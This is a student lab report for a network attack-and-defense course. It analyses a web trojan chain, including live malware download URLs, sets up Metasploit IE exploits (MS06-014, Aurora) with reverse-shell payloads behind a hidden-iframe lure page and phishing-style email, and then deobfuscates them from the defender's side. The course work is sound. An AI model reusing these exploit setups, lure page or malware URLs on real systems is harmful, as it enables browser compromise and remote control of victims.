kernel32、user32、advapi32、urlmon等多个系统库函数。其中,kernel32中包含大量文件操作、进程操作和内存操作相关函数,例如CreateFileA、WriteFile、ReadFile、CopyFileA、DeleteFileA、WinExec、CreateProcessA、CreateThread、VirtualAlloc、VirtualAllocEx、VirtualProtectEx、WriteProcessMemory、ReadProcessMemory等。这说明样本具备创建/修改文件、执行外部程序以及进行进程内存操作的能力。同时,样本还导入了
advapi32中的注册表和服务管理函数,例如RegOpenKeyExA、RegSetValueExA、RegCloseKey、OpenSCManagerA、OpenServiceA、CreateServiceA、DeleteService、CloseServiceHandle等。这些函数通常与修改系统注册表、创建或删除 Windows 服务、实现持久化运行有关。结合 Strings 窗口中出现的SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer、NoDriveTypeAutoRun、{AutoRun}\open等字符串,可以推测该样本可能会修改系统自动运行或安全策略配置。此外,Imports 窗口底部还可以看到
URLDownloadToFileA函数,其所属库为URLMON。该函数常用于从指定 URL 下载文件到本地。结合前面 Strings 窗口中发现的多个下载地址,例如http://down.18dd.net/kl/0.exe到http://down.18dd.net/kl/19.exe,可以进一步说明该样本具有从远程服务器批量下载后续可执行文件的能力。综合来看,Imports 窗口中的导入函数与 Strings 窗口中的可疑字符串能够相互印证:该样本不仅包含大量远程下载地址,还导入了网络下载、文件写入、程序执行、进程内存操作、注册表修改和服务管理相关 API。因此可以初步判断,该样本具有木马下载器、持久化驻留、系统配置修改以及可能的进程注入等恶意行为特征。
2.2.13 取证分析结论
根据逐层分析,可以还原本次网页木马攻击链:
start.html
↓
new09.htm
↓
http://aa.18dd.net/aa/kl.htm
http://js.users.51.la/1299644.js
↓
XXTEA + Base64 解密主控脚本
↓
1.js / b.js / pps.js / bd.cab
↓
014.exe / bf.exe / pps.exe / bd.exe
↓
最终木马样本执行下载、写文件、修改系统或进一步加载恶意程序等行为
从技术手段上看,攻击者使用了隐藏 iframe、外链脚本、XXTEA 加密、Base64 编码、十六进制/八进制混淆、packed JavaScript、ActiveX 控件探测、CAB 文件封装和 EXE 下载执行等多种手段。该攻击链最终可以确认,该网页木马的主要目的并不是展示网页内容,而是利用浏览器及相关控件环境加载并执行后续恶意程序,从而实现对受害主机的进一步控制和破坏。
2.3 攻防对抗实践:Web 浏览器渗透攻击攻防
2.3.1 实验目标
本部分实验分为攻击方和防守方两部分。攻击方使用 Metasploit 构造至少两个不同 Web 浏览端软件漏洞的渗透攻击 URL,并进行简单混淆后组装成一个入口 URL。防守方对实验邮件中的挂马链接进行提取、解混淆分析,恢复出原始攻击 URL 或脚本形态,并判断这些攻击代码分别针对哪些 Web 浏览端软件漏洞。
2.3.2 实验角色与网络配置
| 角色 | 主机 | IP 地址 | 主要任务 |
|---|---|---|---|
| 攻击方 | Kali | 192.168.5.2 |
构造两个漏洞利用 URL 和入口页面 |
| 防守方 | Kali / WinXP | 192.168.5.11 |
在 Kali 中静态提取、解混淆和分析挂马链接,WinXP 用于页面访问验证 |
| 靶机 | Win2kServer | 192.168.5.5 |
模拟访问漏洞页面 |
测试连通性:
ping -c 4 192.168.5.5
Windows 中执行:
ping 192.168.5.2
连通性测试:
攻击机Ping防守机:

攻击机Ping靶机:

防守机Ping靶机:

2.3.3 攻击方:构造第一个浏览器漏洞利用 URL
启动 Metasploit:
msfconsole

使用 MS06-014 模块:
use exploit/windows/browser/ie_createobject
配置参数:
set PAYLOAD windows/shell/reverse_tcp
set SRVHOST 192.168.5.2
set SRVPORT 8080
set URIPATH /exp_ms06014
set LHOST 192.168.5.2
set LPORT 4444
show options
run -j
记录生成的第一个攻击 URL:
http://192.168.5.2:8080/exp_ms06014

在防守机中查看:

2.3.4 攻击方:构造第二个浏览器漏洞利用 URL
重新回到 Metasploit 主界面:
back
搜索另一个浏览器端漏洞模块,例如 IE Aurora 模块:
search ms10_002

模块存在,使用:
use exploit/windows/browser/ms10_002_aurora
以第二个模块为例,配置参数:
set PAYLOAD windows/shell/reverse_tcp
set SRVHOST 192.168.5.2
set SRVPORT 8081
set URIPATH /exp_browser2
set LHOST 192.168.5.2
set LPORT 5555
show options
run -j
记录第二个攻击 URL:
http://192.168.5.2:8081/exp_browser2

查看两个后台任务:
jobs -v

2.3.5 攻击方:对 URL 进行简单混淆并组装入口页面
在 Kali 中启动 Apache:
sudo service apache2 start
创建实验入口目录:
sudo mkdir -p /var/www/html/browser_attack_lab
将两个攻击 URL 做 URL 编码,便于放入入口页面:
python3 - <<'PY'
from urllib.parse import quote
urls = [
"http://192.168.5.2:8080/exp_ms06014",
"http://192.168.5.2:8081/exp_browser2",
]
for u in urls:
print(quote(u, safe=""))
PY

创建入口页面:
sudo vim /var/www/html/browser_attack_lab/index.html
写入如下实验页面模板:
<html>
<head>
<meta charset="utf-8">
<title>实验通知页面</title>
</head>
<body>
<h3>实验环境连通性测试页面</h3>
<p>该页面仅用于网络攻防课程封闭实验。</p>
<script>
var u1 = unescape("http%3A%2F%2F192.168.5.2%3A8080%2Fexp_ms06014");
var u2 = unescape("http%3A%2F%2F192.168.5.2%3A8081%2Fexp_browser2");
document.write("<iframe width='0' height='0' src='" + u1 + "'></iframe>");
document.write("<iframe width='0' height='0' src='" + u2 + "'></iframe>");
</script>
</body>
</html>

保存后,入口 URL 为:
http://192.168.5.2/browser_attack_lab/index.html
在Kali中查看:

在WinXP中查看:

在Win2K中查看:

2.3.6 攻击方:编写实验邮件正文
本实验只在防守方实验邮箱或文本文件中模拟,不向真实用户发送。创建邮件正文文件:
cat > mail_sample.txt <<'MAIL'
主题:实验环境连通性测试通知
同学你好:
请在实验虚拟机中打开以下测试页面,用于验证浏览器访问课程服务器的连通性:
http://192.168.5.2/browser_attack_lab/index.html
注意:该邮件仅用于《网络攻防实践》课程封闭实验环境。
MAIL

2.3.7 攻击方:观察靶机访问后的会话
靶机访问入口 URL 后,攻击方在 Metasploit 中查看 Session:
sessions -l

有 Session,进入:
sessions -i 1
执行:
ipconfig
hostname
dir

靶机访问入口页面后,页面表面上仅显示“实验环境连通性测试页面”,没有明显异常。这是因为攻击页面通过隐藏 iframe 加载,漏洞利用过程不会直接展示在页面中。随后回到 Kali 的 Metasploit 控制台执行 sessions -l,发现已经建立 shell x86/windows 会话,连接信息为 192.168.5.2:4444 -> 192.168.5.5,说明浏览器渗透攻击成功。
2.3.8 防守方:提取邮件中的可疑链接
防守方先不直接点击链接,而是从邮件正文中提取 URL:
grep -Eo "https?://[^ ]+" mail_sample.txt
得到:
http://192.168.5.2/browser_attack_lab/index.html

下载入口页面源码:
wget -O suspect_index.html http://192.168.5.2/browser_attack_lab/index.html

查看源码:
sed -n '1,160p' suspect_index.html

搜索可疑关键字:
grep -nEi "iframe|script|eval|unescape|document.write|ActiveXObject|classid" suspect_index.html

从搜索结果可以看出,入口页面中存在 iframe、script、unescape、document.write 等典型挂马页面特征。这说明邮件中的链接并非普通通知页面,而是用于在后台加载后续浏览器漏洞利用页面的统一入口。
2.3.9 防守方:解混淆并恢复原始 URL
入口页面中使用了 unescape() 对 URL 编码内容进行还原。可以用 Python 解码:
python3 - <<'PY'
from urllib.parse import unquote
items = [
"http%3A%2F%2F192.168.5.2%3A8080%2Fexp_ms06014",
"http%3A%2F%2F192.168.5.2%3A8081%2Fexp_browser2",
]
for s in items:
print(unquote(s))
PY
恢复出两个真实漏洞利用 URL:
http://192.168.5.2:8080/exp_ms06014
http://192.168.5.2:8081/exp_browser2

防守方可以继续下载两个 URL 返回的页面源码,但不要在存在漏洞的浏览器中直接打开:
wget -O exp1.html http://192.168.5.2:8080/exp_ms06014
wget -O exp2.html http://192.168.5.2:8081/exp_browser2

查看源码并搜索关键字:
grep -nEi "ActiveX|classid|shellcode|unescape|MS06|CreateObject|heap|spray" exp1.html
grep -nEi "script|iframe|object|ActiveX|classid|clsid|unescape|eval|fromCharCode|function|document|createElement|shell|payload|ms10|aurora|heap|spray|Microsoft" exp2.html

2.3.10 防守方:判断攻击目标和漏洞类型
根据入口页面和两个 exploit 页面,可以形成分析表:
| 序号 | 恢复出的 URL | 可能模块 | 攻击对象 | 关键特征 |
|---|---|---|---|---|
| 1 | http://192.168.5.2:8080/exp_ms06014 |
ie_createobject |
IE / ActiveX | CreateObject、ActiveX、MS06-014 |
| 2 | http://192.168.5.2:8081/exp_browser2 |
ms10_002_aurora |
旧版本 IE 浏览器 | MS10-002、Aurora、JavaScript、浏览器内存破坏漏洞 |
防守方结论:
- 邮件中的链接并非普通通知页面,而是挂马入口页面;
- 入口页面中隐藏加载了两个 iframe;
- 两个 iframe 分别指向不同端口和路径的 Metasploit 浏览器攻击模块;
- 页面使用了
unescape()对 URL 进行简单混淆; - 该攻击主要针对旧版本 IE 或存在漏洞的浏览器端控件;
- 防御建议包括邮件网关过滤、禁止访问未知链接、浏览器补丁更新、禁用高危 ActiveX、部署 IDS/WAF 检测恶意脚本特征。
2.3.11 本部分小结
本部分实验体现了浏览器攻击从“构造 URL”到“邮件传播”再到“防守方解混淆分析”的完整对抗过程。攻击方关注如何让靶机访问恶意入口并触发多个漏洞利用,防守方则关注如何在不执行恶意脚本的情况下还原真实攻击链。相比单纯使用 Metasploit,本部分更强调安全分析能力,即通过源码、URL、关键字和行为特征判断攻击意图。
三、实验结果与分析
3.1 Web 浏览器渗透攻击结果分析
在 Web 浏览器渗透攻击实验中,Kali 攻击机通过 Metasploit 成功启动 MS06-014 相关浏览器漏洞利用服务,并生成可供靶机访问的恶意 URL。Win2KServer 靶机使用 IE 浏览器访问该 URL 后,页面表面上可能没有明显异常,但 Metasploit 中出现了 shell x86/windows 类型的 Session,说明 Payload 已经在靶机侧成功执行。
进入 Session 后,通过 ipconfig、hostname、dir 等命令可以确认当前 Shell 对应的确是 Windows 靶机环境。这说明本次实验完成了从“恶意网页构造”到“浏览器触发漏洞”,再到“远程命令执行”的完整验证流程。该部分的重点并不是页面显示效果,而是 Session 是否建立、连接方向是否正确、远程命令是否能够正常回显。
3.2 网页木马取证分析结果
网页木马取证部分最终还原出的攻击链如下:
start.html
↓
new09.htm
↓
http://aa.18dd.net/aa/kl.htm
http://js.users.51.la/1299644.js
↓
Base64 + XXTEA 解密主控 JavaScript
↓
ActiveX 控件探测与二阶段脚本加载
↓
1.js / b.js / pps.js / bd.cab
↓
014.exe / bf.exe / pps.exe / bd.exe
↓
下载后续程序、修改注册表、文件写入、系统配置修改等可疑行为
从技术手段看,攻击者综合使用了隐藏 iframe、外链脚本、Base64、XXTEA、十六进制转义、八进制转义、packed JavaScript、ActiveX 控件探测、CAB 封装和 EXE 下载等方法。该链条说明网页木马的核心并不是某一个单独脚本,而是通过多阶段加载不断隐藏真实攻击意图。
在最终 EXE 样本分析中,PEiD 结果显示样本具有 Delphi 编译特征,未发现明显常见壳;IDA 的 Strings 窗口和 Imports 窗口进一步暴露出下载地址、注册表路径、系统命令、文件操作、进程操作、服务管理和网络下载相关 API。由此可以判断,该样本具有木马下载器、系统配置修改、持久化驻留和进程级操作等可疑行为特征。
3.3 攻防对抗分析结果
攻防对抗部分中,攻击方将两个浏览器漏洞利用 URL 通过入口页面统一封装,并使用 unescape() 对真实 URL 进行简单混淆。防守方从邮件正文中提取入口 URL 后,并没有直接在存在漏洞的浏览器中点击访问,而是通过 wget 下载源码、使用 grep 搜索 iframe、script、unescape、document.write 等特征,并用 Python 还原编码后的真实攻击地址。
恢复出的两个攻击 URL 分别指向不同端口和路径的 Metasploit 浏览器漏洞利用模块。其中,exp_ms06014 对应 IE/ActiveX 相关的 ie_createobject 模块,exp_browser2 对应 ms10_002_aurora 模块。防守方据此可以判断,邮件正文中的链接并非普通通知页面,而是挂马入口页面;入口页面通过隐藏 iframe 在后台加载漏洞利用页面,攻击目标主要是旧版 IE 浏览器及相关 ActiveX 组件。
从防御角度看,单纯依赖“页面看起来是否正常”并不能发现风险。真正有效的防守方法是对链接、页面源码、脚本特征、网络请求和终端行为进行综合审计。
四、实验中可能遇到的问题及解决方法
4.1 问题一:进入远程 Shell 后混淆 Metasploit 命令和 Windows 命令
问题表现
在 Metasploit 中执行:
sessions -i 1
成功进入 Win2KServer 远程 Shell 后,终端提示符已经变成类似:
C:\Documents and Settings\Administrator>
但此时仍继续输入:
sessions -l
sessions -i 1
结果出现 Invalid session id 或命令用法提示,容易误以为 Session 异常或攻击没有成功。
原因分析
该问题的根本原因是没有区分当前所在的命令环境。sessions -l、jobs -v、show options 等命令只能在 Metasploit 控制台中执行;进入 Session 后,当前环境已经切换为目标 Windows 主机的命令行,只能执行 ipconfig、hostname、dir 等 Windows 命令。
| 当前提示符 | 所属环境 | 应执行的命令 |
|---|---|---|
kali@...:~$ |
Kali 普通终端 | ping、wget、python3、grep |
msf6 > 或 msf6 exploit(...) > |
Metasploit 控制台 | sessions -l、jobs -v、show options |
C:\Documents and Settings\Administrator> |
Windows 远程 Shell | ipconfig、hostname、dir |
解决方案
如果只是想暂时退回 Metasploit 控制台,应在远程 Shell 中按:
Ctrl + Z
然后根据提示输入:
y
这样可以将当前 Session 挂到后台。回到 Metasploit 后,再执行:
sessions -l
即可查看当前会话。如果想重新进入会话,再执行:
sessions -i 1
如果想彻底关闭远程 Shell,则在 Windows Shell 中输入:
exit
这个问题提醒我,实验中不能只记命令,还要先看清楚提示符。很多看似报错的问题,其实只是命令输入到了错误环境里。
4.2 问题二:XXTEA 解密时定位错文件或使用不兼容工具
问题表现
在网页木马取证分析过程中,需要对加密 JavaScript 进行 Base64 + XXTEA 解密。实验初期容易把不含主控脚本的散列文件当作需要解密的目标文件,导致自动提取脚本提示:
没有找到 t="..." 加密字段
即使把疑似密文复制到在线工具中,也可能只得到一大段乱码或十六进制内容,看不到预期的 function init()、ActiveXObject、document.write 等 JavaScript 代码。
原因分析
该问题主要有两个原因。第一,目标文件定位错误。并不是所有乱码文件都包含待解密密文,应该先通过 xxtea_decrypt、base64decode、eval、unescape 等关键词确认脚本类型。第二,解密工具不兼容。原脚本的调用形式为:
xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74')
其中 \x73\x63\x72\x69\x70\x74 转换后是 script。该调用没有 IV 参数,而部分在线 TEA/XTEA 工具要求固定 16 字节密钥和 IV,因此即使填入补零后的密钥,也可能因为算法实现不同而解出乱码。
解决方案
首先使用 grep 定位真正的加密脚本:
grep -R --text -n "xxtea_decrypt" .
grep -R --text -n "base64decode" .
确认目标文件后,查看关键代码附近内容:
nl -ba 7f60672dcd6b5e90b6772545ee219bd3 | sed -n '25,35p'
再自动提取 t="..." 中的密文字段:
python3 - <<'PY'
import re
fn = "7f60672dcd6b5e90b6772545ee219bd3"
data = open(fn, "r", encoding="latin1", errors="ignore").read()
items = re.findall(r'\\bt\\s*=\\s*["\\']([^"\\']+)["\\']', data, re.S)
if not items:
print("没有自动提取到 t=\"...\",请检查文件内容")
else:
cipher = max(items, key=len)
cipher = cipher.replace("\n", "").replace("\r", "").replace(" ", "")
open("cipher.txt", "w", encoding="utf-8").write(cipher)
print("已提取到 cipher.txt")
PY
解密时选择明确支持 XXTEA 的工具,密文输入格式选择 Base64,密钥填写:
script
第一层解密后如果得到:
<script>
eval("\x66\x75\x6e\x63...")
</script>
说明方向已经正确,还需要继续将 eval("...") 中的 \x.. 十六进制转义内容还原为普通 JavaScript。这个问题让我认识到,恶意脚本解码不能靠盲试工具,而要先确认“文件、密文、算法、密钥、输出格式”是否一一对应。
五、实践总结
通过这次第十一次作业,我对 Web 浏览器渗透攻击和网页木马取证分析有了更完整的认识。以前理解“网页木马”时,更多只是觉得它是一个带病毒的网页;真正做完实验后才发现,它往往不是一个单独页面,而是一条很长的链路:入口页面看起来很普通,背后却可能隐藏 iframe、外链脚本、加密 JavaScript、ActiveX 控件判断、二阶段脚本、CAB 文件和最终 EXE 样本。
浏览器渗透攻击让我印象最深的是“页面没有明显变化也可能已经攻击成功”。靶机访问入口页面后,浏览器可能只是空白、卡顿,甚至看起来像普通通知页面,但 Kali 里的 Metasploit 已经建立了 Session。这让我意识到,判断攻击是否成功不能只看页面显示,而要看网络连接、Session、Shell 回显和目标主机行为。
取证分析部分虽然步骤很多,但很锻炼耐心。尤其是计算 URL 的 MD5、查找散列文件、判断脚本混淆类型、解密 XXTEA、继续分析 shellcode 和 EXE 样本,每一步都不能急。一个换行符、一个文件选错、一个工具模式不兼容,都可能导致后面完全走不下去。这个过程让我体会到,安全分析不是“会几个工具”就够了,还要能理解每一步为什么这样做。
攻防对抗部分让我从防守方角度重新看待链接安全。真实场景中,邮件里的链接表面上可能只是“实验通知”“兼容性测试”或“系统提醒”,但源码中可能通过隐藏 iframe 加载真正的漏洞利用页面。因此防守方不能随便点击未知链接,而应先提取 URL、下载源码、解混淆、搜索可疑特征,再结合流量和模块信息判断攻击目标。
总体来说,这次实验把前面学过的 Metasploit、远程 Shell、脚本分析、恶意代码静态分析和防守审计串在了一起。做完之后我更能理解:攻击者往往会把真实意图藏在多层跳转和混淆之后,而防守者要做的就是一层一层把链路拆开,还原每个文件、每个 URL、每个函数调用背后的意义。这种分析过程虽然繁琐,但也正是网络攻防实践中最有价值的部分。
参考资料
- 第十一次作业参考实验过程。
- Metasploit Framework 模块使用帮助。
- Windows 浏览器端漏洞利用实验资料。
- 网页木马取证分析实验资料。
- IDA、PEiD、strings、md5sum、7z、cabextract 等工具说明。

浙公网安备 33010602011771号